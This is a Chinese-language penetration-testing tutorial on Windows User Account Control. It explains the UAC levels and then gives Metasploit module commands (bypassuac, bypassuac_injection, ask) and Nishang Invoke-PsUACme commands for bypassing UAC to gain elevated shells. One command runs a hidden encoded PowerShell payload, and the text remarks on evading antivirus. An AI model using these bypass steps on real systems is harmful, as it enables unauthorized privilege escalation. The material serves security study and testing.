如果计算机的操作系统版本是vista或者更高,在权限不够的情况下,访问系统的磁盘的根目录,windows目录、programfiles目录,以及读写系统登录数据库的程序等操作,都需要经过user account control,用户账户控制的认证才可以进行
需要UAC的授权才能进行的操作:
配置Windows Update;增加、删除账户;更改账户类型;更改UAC的设置;安装ActiveX;安装、卸载程序;安装设备驱动程序;将文件移动/复制到ProgramFiles或Windows目录下;查看其它用户的文件夹
UAC有如下四种设置要求:
始终通知:这是最严格的设置,每当有程序需要使用高级别的权限时都会提示本地用户
仅在程序试图更改我的计算机时通知我:这是UAC的默认设置。当本地Windows程序要使用高级别的权限时,不会通知用户。但是,当第三方程序要使用高级别的权限时,会提示本地用户
仅在程序试图更改我的计算机时通知我(不降低桌面的亮度):与上一条设置的要求相同,但在提示用户时不降低桌面的亮度
从不提示:当用户为系统管理员时,所有程序都会以最高权限运行
MSF下获取system权限利用:
use exploit/windows/local/bypassuac #该模块运行时会因为在目标机上创建多个文件而被杀毒软件识别,因此通过该模块提权成功率很低。
use exploit/windows/local/bypassuac_injection #该模块直接运行在内存的反射DLL中,所以不会接触目标机器的硬盘,从而降低了被杀毒软件检测出来的概率
利用成功前提条件:
系统当前用户必须在管理员组中
UAC设置为默认,即:仅在程序试图更改我的计算机时通知我
use exploit/windows/local/bypassuac
set session 1
set lhost 0.0.0.0
set lport 33330
exploit
用户不在管理员组出现如下情况:
更换用户后如下成功:
推断是msf本身问题
use exploit/windows/local/bypassuac_injection
set session 1
set target 1
set lhost 0.0.0.0
set lport 33339
runas模块
模块会创建一个可执行文件,目标机器会运行一个发起提权的请求程序,提示用户是否要继续运行,如果用户选择继续运行程序,就会返回一个高权限的shell,同样这里是需要用户在管理员组或者知道管理员的密码,对UAC的设置没有要求
use exploit/windows/local/ask
set session 1
set lhost 0.0.0.0
set lport 22222
run
Nishang中的Invoke-PsUACme模块
Import-Module .Invoke-PsUACme.ps1;Invoke-PsUACme -verbose 使用sysprep方法并执行默认的payload
Import-Module .Invoke-PsUACme.ps1;Invoke-PsUACme -method oobe -verbose 使用oobe方法并执行默认的payload
Import-Module .Invoke-PsUACme.ps1;Invoke-PsUACme -method oobe -Payload "powershell -windowstyle hidden -e YOURPAYLOAD" 可以指定要执行的payload
补充: